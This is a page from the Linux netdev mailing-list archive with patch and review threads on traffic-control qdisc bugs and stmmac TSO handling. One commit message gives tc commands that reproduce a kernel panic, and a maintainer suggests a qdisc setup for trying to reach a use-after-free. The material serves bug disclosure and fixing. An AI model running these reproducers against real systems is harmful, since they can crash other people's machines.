> > > > > qdisc choke 3: dev lo parent 2:1 limit 2p min 1p max 2p
> > > > > [ 7.588847] drr_dequeue: tbf qdisc 2: is non-work-conserving?
> > > > >
> > > > > Testing after applying the patch to the v6.17 kernel shows that the warning message has disappeared.
> > > > >
> > > > > After applying the patch:
> > > > >
> > > > > root@test:~# ./poc
> > > > > qdisc drr 1: dev lo root refcnt 2
> > > > > qdisc tbf 2: dev lo parent 1:1 rate 1Mbit burst 1514b lat 50.0ms
> > > > > qdisc choke 3: dev lo parent 2:1 limit 2p min 1p max 2p
> > > >
> > > > Please test against latest net-next kernel then report back on the UAF
> > > > - not a "potential" but a real one.
> > > >
> > > > cheers,
> > > > jamal
> > >
> > > As seen in a recent patch (https://lore.kernel.org/netdev/20260114160243.913069-3-jhs@mojatatu.com/), it was possible to trigger a UAF using the QFQ qdisc when qlen was handled incorrectly. I don't think this is the only way to trigger a UAF. Since it is obvious that qlen is also being handled incorrectly during the GSO segment processing, I believe it would be better to remove this potential risk.
> > >
> >
> > I may not be remembering the sequence of events correctly, and i am
> > not sure if after all this time if that potential UAF hasnt been
> > resolved. Your repro was fixed by:
> > https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/
> >
> > Typically, a message like "is non-work-conserving?" means you have
> > some bogus hierarchy. Find a way to create what you suggested is a
> > potential UAF, and I will be more than happy to invest time.
> >
> > cheers,
> > jamal
>
> I don't see any points in the current version of kernel that could lead to a
> UAF, and I don't have time to analyze it further. A detailed analysis of this
> bug is provided below.
>
I have spent time analyzing your report - and yes, I can see the
potential for the problem.
The only challenge i have is cant keep up with these AI analyzed
reviews (apologies if you actually looked at code and came up with
this).
The issue does not seem to be restricted to just the use case you
showed here with choke i.e other qdisc arrangements are possible.
Again it is always some bogus arrangement of qdiscs set up to cause
the fault; by bogus i mean there's no practical value for such a qdisc
graph and i am not interested in doing "one more hack" to get it
working for this setup.
You will get me highly motivated to spend more time if you can produce
a UAF. Have you tried something like:
tc qdisc add dev eth0 root handle 1: drr
tc class add dev eth0 parent 1: classid 1:1 drr
// note: 'mtu' to 1500 should help to ensure that any GSO packet
larger than 1500 bytes ends up in the tbf segmentation area
tc qdisc add dev eth0 parent 1:1 handle 10: tbf rate 10mbit burst 2000
latency 50ms mtu 1500
// low 'min' and 'max' thresholds to force CHOKE to start dropping early
tc qdisc add dev eth0 parent 10: handle 20: choke limit 100 min 1 max
2 avpkt 1000
Sorry - dont have much time to invest in this; create the UAF then we
can talk some more...
cheers,
jamal
> static int tbf_segment(struct sk_buff *skb, struct Qdisc *sch,
> struct sk_buff **to_free)
> {
> struct tbf_sched_data *q = qdisc_priv(sch);
> struct sk_buff *segs, *nskb;
> netdev_features_t features = netif_skb_features(skb);
> unsigned int len = 0, prev_len = qdisc_pkt_len(skb), seg_len;
> int ret, nb;
>
> segs = skb_gso_segment(skb, features & ~NETIF_F_GSO_MASK);
>
> if (IS_ERR_OR_NULL(segs))
> return qdisc_drop(skb, sch, to_free);
>
> nb = 0;
> skb_list_walk_safe(segs, segs, nskb) {
> skb_mark_not_on_list(segs);
> seg_len = segs->len;
> qdisc_skb_cb(segs)->pkt_len = seg_len;
> qdisc_skb_cb(segs)->pkt_segs = 1;
> ret = qdisc_enqueue(segs, q->qdisc, to_free); // [1]
> if (ret != NET_XMIT_SUCCESS) {
> if (net_xmit_drop_count(ret))
> qdisc_qstats_drop(sch);
> } else {
> nb++;
> len += seg_len;
> }
> }
> ...
> }
>
> When a GSO packet is enqueued into the TBF, it is processed by the tbf_segment.
> GSO packets are split into GSO segments and then enqueued into the child qdiscs
> of the TBF [1]. A problem occurs when the child qdisc of TBF enqueues one or
> more GSO segments and returns a success, but then drops all packets from the
> child qdisc while enqueuing another GSO segment.
>
> The following shows the changes in the qlen values of each qdisc as the GSO
> segment is processed when the provided PoC is executed. A total of four
> segments are processed, and we can see that a mismatch in the qlen values
> occurs between the parent and child segments.
>
> DRR TBF CHOKE
> seg1 0 0 1
> seg2 0 0 2
> seg3 -1 -1 1
> seg4 -2 -2 0
>
> When seg3 is enqueued into CHOKE, the average queue length exceeds qth_min,
> entering the probabilistic drop region. Since all GSO segments originate from
> the same UDP socket, choke_match_random() matches seg3 against an existing
> packet (seg1) in the queue. choke_drop_by_idx() then drops seg1, which calls
> qdisc_tree_reduce_backlog() — decrementing both TBF and DRR qlens by 1. The
> incoming seg3 is also dropped via congestion_drop. The same occurs for seg4,
> which matches and drops seg2.
>
> static int tbf_segment(struct sk_buff *skb, struct Qdisc *sch,
> struct sk_buff **to_free)
> {
> ...
>
> sch->q.qlen += nb; // TBF: qlen = -2 + 2 = 0
> sch->qstats.backlog += len;
> if (nb > 0) {
> qdisc_tree_reduce_backlog(sch, 1 - nb, prev_len - len);
> // DRR: qlen = -2 - (1-2) = -1
> consume_skb(skb);
> return NET_XMIT_SUCCESS; // [2]
> }
>
> kfree_skb(skb);
> return NET_XMIT_DROP;
> }
>
> As a result of the GSO processing, tbf_segment returns NET_XMIT_SUCCESS even
> though qlen is 0 [2].
>
> static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
> struct sk_buff **to_free)
> {
> ...
>
> err = qdisc_enqueue(skb, cl->qdisc, to_free);
> if (unlikely(err != NET_XMIT_SUCCESS)) {
> if (net_xmit_drop_count(err)) {
> cl->qstats.drops++;
> qdisc_qstats_drop(sch);
> }
> return err;
> }
>
> if (!cl_is_active(cl)) {
> list_add_tail(&cl->alist, &q->active); // [3] cl->qdisc->q.qlen = 0,
> cl->deficit = cl->quantum; // DRR: qlen = -1
> }
>
> sch->qstats.backlog += len;
> sch->q.qlen++; // DRR: qlen -1 -> 0, no actual packets exist
> return err;
> }
>
> Since the TBF qdisc returned NET_XMIT_SUCCESS, drr_enqueue adds the class to
> the active list even though cl->qdisc.qlen is 0. This is nonsensical because
> the class is added to the active list even though it is not active.
>
> static struct sk_buff *drr_dequeue(struct Qdisc *sch)
> {
> struct drr_sched *q = qdisc_priv(sch);
> struct drr_class *cl;
> struct sk_buff *skb;
> unsigned int len;
>
> if (list_empty(&q->active))
> goto out;
> while (1) {
> cl = list_first_entry(&q->active, struct drr_class, alist); // [4]
> skb = cl->qdisc->ops->peek(cl->qdisc); // cl->qdisc.qlen = 0
> if (skb == NULL) {
> qdisc_warn_nonwc(__func__, cl->qdisc);
> goto out;
> }
>
> ...
> }
>
> Finally, in `drr_dequeue`, attempting to peek into an empty qdisc triggers a
> warning message and causes unnecessary code to execute [4].
>
> Recently, there have been many cases where incorrect handling of the qlen
> value caused not only UAFs but also kernel panics; however, thanks to various
> patches, it appears that even if qlen is handled incorrectly, issues such as
> panics no longer occur. Nevertheless, the bug clearly exists, so I am wondering
> if there are plans to patch it.
>
> Thanks,
> Mingi
>
^ permalink raw reply
* Re: [PATCH net-next 01/10] net: stmmac: fix TSO support when some channels have TBS available
From: Russell King (Oracle) @ 2026-03-29 18:23 UTC (permalink / raw)
To: Jakub Kicinski
Cc: Andrew Lunn, Alexandre Torgue, Andrew Lunn, David S. Miller,
Eric Dumazet, linux-arm-kernel, linux-stm32, netdev,
Ong Boon Leong, Paolo Abeni
In-Reply-To: <20260329104223.358351ee@kernel.org>
On Sun, Mar 29, 2026 at 10:42:23AM -0700, Jakub Kicinski wrote:
> On Sun, 29 Mar 2026 10:40:43 +0100 Russell King (Oracle) wrote:
> > On Sat, Mar 28, 2026 at 09:36:41PM +0000, Russell King (Oracle) wrote:
> > > According to the STM32MP25xx manual, which is dwmac v5.3, TBS (time
> > > based scheduling) is not permitted for channels which have hardware
> > > TSO enabled. Intel's commit 5e6038b88a57 ("net: stmmac: fix TSO and
> > > TBS feature enabling during driver open") concurs with this, but it
> > > is incomplete.
> > >
> > > This commit avoids enabling TSO support on the channels which have
> > > TBS available, which, as far as the hardware is concerned, means we
> > > do not set the TSE bit in the DMA channel's transmit control register.
> > >
> > > However, the net device's features apply to all queues(channels), which
> > > means these channels may still be handed TSO skbs to transmit, and the
> > > driver will pass them to stmmac_tso_xmit(). This will generate the
> > > descriptors for TSO, even though the channel has the TSE bit clear.
> > >
> > > Fix this by checking whether the queue(channel) has TBS available,
> > > and if it does, fall back to software GSO support.
> >
> > This is sufficient for the immediate issue of fixing the patch below,
> > but I think there's another issue that also needs fixing here.
> >
> > TSO requires the hardware to support checksum offload, and there is
> > a comment in the driver:
> >
> > /* DWMAC IPs can be synthesized to support tx coe only for a few tx
> > * queues. In that case, checksum offloading for those queues that don't
> > * support tx coe needs to fallback to software checksum calculation.
> > *
> > * Packets that won't trigger the COE e.g. most DSA-tagged packets will
> > * also have to be checksummed in software.
> > */
> >
> > So, it seems at the very least we need to add a check (in a subsequent
> > patch) for priv->plat->tx_queues_cfg[queue].coe_unsupported to
> > stmmac_channel_tso_permitted().
> >
> > I'm also wondering about the stmmac_has_ip_ethertype() thing, which
> > checks whether the skb can be checksummed by the hardware, and how that
> > interacts with TSO, and whether that's yet another hole that needs
> > plugging.
>
> If the driver "un-advertises" checksum offload accordingly the core
> should automatically clear TSO feature.
Ah, yes, it's in harmonize_features().
However, I think that stmmac_has_ip_ethertype() is tighter than the
checks that harmonize_features() does.
stmmac_has_ip_ethertype():
int depth = 0;
__be16 proto;
proto = __vlan_get_protocol(skb, eth_header_parse_protocol(skb),
&depth);
return (depth <= ETH_HLEN) &&
(proto == htons(ETH_P_IP) || proto == htons(ETH_P_IPV6));
If I'm reading this correctly, then eth_header_parse_protocol(skb)
will return the contents of the ethernet header protocol field.
__vlan_get_protocol() will then return:
- that protocol if it is not a vlan (0x8100 or 0x88A8)
with depth set to skb->mac_len, which should be ETH_HLEN here.
- the protocol below the vlan headers, in which case depth
will be > ETH_HLEN
Unless I've missed something, that basically means that the
__vlan_get_protocol() is pointless there, and the entire function
could just be checking that eth_header_parse_protocol(skb) returns
IP or IPv6.
Isn't it the case that skb->protocol should be the same as
eth_header_parse_protocol(skb) for a packet being transmitted at the
point that .ndo_features_check() or .ndo_start_xmit() is called?
--
RMK's Patch system: https://www.armlinux.org.uk/developer/patches/
FTTP is here! 80Mbps down 10Mbps up. Decent connectivity at last!
^ permalink raw reply
* Re: [PATCH] net/sched: skip reverse bind walk after failed class delete
From: Jamal Hadi Salim @ 2026-03-29 18:21 UTC (permalink / raw)
To: Qi Tang
Cc: Jiri Pirko, Cong Wang, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, netdev
In-Reply-To: <20260329165306.241079-1-tpluszz77@gmail.com>
On Sun, Mar 29, 2026 at 12:53 PM Qi Tang <tpluszz77@gmail.com> wrote:
>
> __tc_ctl_tclass() unconditionally calls tc_bind_tclass() after
> RTM_DELTCLASS even when tclass_del_notify() fails. On
> ingress/clsact qdiscs with shared blocks, the delete always fails
> with -EOPNOTSUPP, but the subsequent bind walk still runs.
> tc_bind_tclass() reaches tcf_node_bind() which calls tcf_block_q()
> on the shared block and dereferences the NULL qdisc pointer.
>
> Only perform the reverse bind walk when the class delete succeeds.
>
> Triggered by issuing RTM_DELTCLASS on an ingress/clsact pseudo-class
> that carries a shared block with a classifier using bind_class:
>
> $ tc qdisc add dev veth0 egress_block 22 clsact
> $ tc filter add block 22 pref 1 protocol ip handle 0x1 \
> fw classid ffff:fff3 action drop
> $ tc class del dev veth0 classid ffff:fff3
> RTNETLINK answers: Operation not supported
> Kernel panic - not syncing: Attempted to kill init!
> exitcode=0x00000700
>
> The NULL dereference occurs in tcf_node_bind() when sch_tree_lock()
> is called with the NULL return from tcf_block_q() on a shared block.
>
Try these patches:
https://lore.kernel.org/netdev/CAM0EoMmVey4ayJBZgogMO4S3Z-_n5oDfasdZyiVryEqCNqu6bw@mail.gmail.com/T/#t
Same for your other issue.
cheers,
jamal
> Fixes: 07d79fc7d94e ("net_sched: add reverse binding for tc class")
> Signed-off-by: Qi Tang <tpluszz77@gmail.com>
> ---
> net/sched/sch_api.c | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> index cc43e3f7574f..50d311ff1f2d 100644
> --- a/net/sched/sch_api.c
> +++ b/net/sched/sch_api.c
> @@ -2251,7 +2251,8 @@ static int __tc_ctl_tclass(struct sk_buff *skb, struct nlmsghdr *n,
> case RTM_DELTCLASS:
> err = tclass_del_notify(net, cops, skb, n, q, cl, extack);
> /* Unbind the class with flilters with 0 */
> - tc_bind_tclass(q, portid, clid, 0);
> + if (!err)
> + tc_bind_tclass(q, portid, clid, 0);
> goto out;
> case RTM_GETTCLASS:
> err = tclass_get_notify(net, skb, n, q, cl, extack);
> --
> 2.43.0
>
^ permalink raw reply
* Re: [PATCH v8 net-next 0/5] psp: Add support for dev-assoc/disassoc
From: Jakub Kicinski @ 2026-03-29 18:12 UTC (permalink / raw)
To: Wei Wang
Cc: netdev, Daniel Zahka, Willem de Bruijn, David Wei, Andrew Lunn,
David S . Miller, Eric Dumazet, Simon Horman, Wei Wang
In-Reply-To: <20260329041922.3850747-1-weibunny.kernel@gmail.com>
On Sat, 28 Mar 2026 21:19:16 -0700 Wei Wang wrote:
> The main purpose of this feature is to associate virtual devices like
> veth or netkit with a real PSP device, so we could provide PSP
> functionality to the application running with virtual devices.
Does not apply to net-next.
^ permalink raw reply
* Re: [PATCH net-next 00/10] net: stmmac: TSO fixes/cleanups
From: Jakub Kicinski @ 2026-03-29 18:11 UTC (permalink / raw)
To: Russell King (Oracle)
Cc: Andrew Lunn, Alexandre Torgue, Andrew Lunn, David S. Miller,
Eric Dumazet, linux-arm-kernel, linux-stm32, netdev,
Ong Boon Leong, Paolo Abeni
In-Reply-To: <achJ1dfeT6Q8rBuX@shell.armlinux.org.uk>
On Sat, 28 Mar 2026 21:36:21 +0000 Russell King (Oracle) wrote:
> Hot off the press from reading various sources of dwmac information,
> this series attempts to fix the buggy hacks that were previously
> merged, and clean up the code handling this.
We have a limit of 15 outstanding patches per tree.
Please follow the community guidelines.
While I have you - you have a significantly negative "reviewer score".
You post much more than you review. Which should earn you extra 24h
of delay in our system. I've been trying to ignore that and prioritize
applying your patches but it'd be great if you could review a bit more.
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox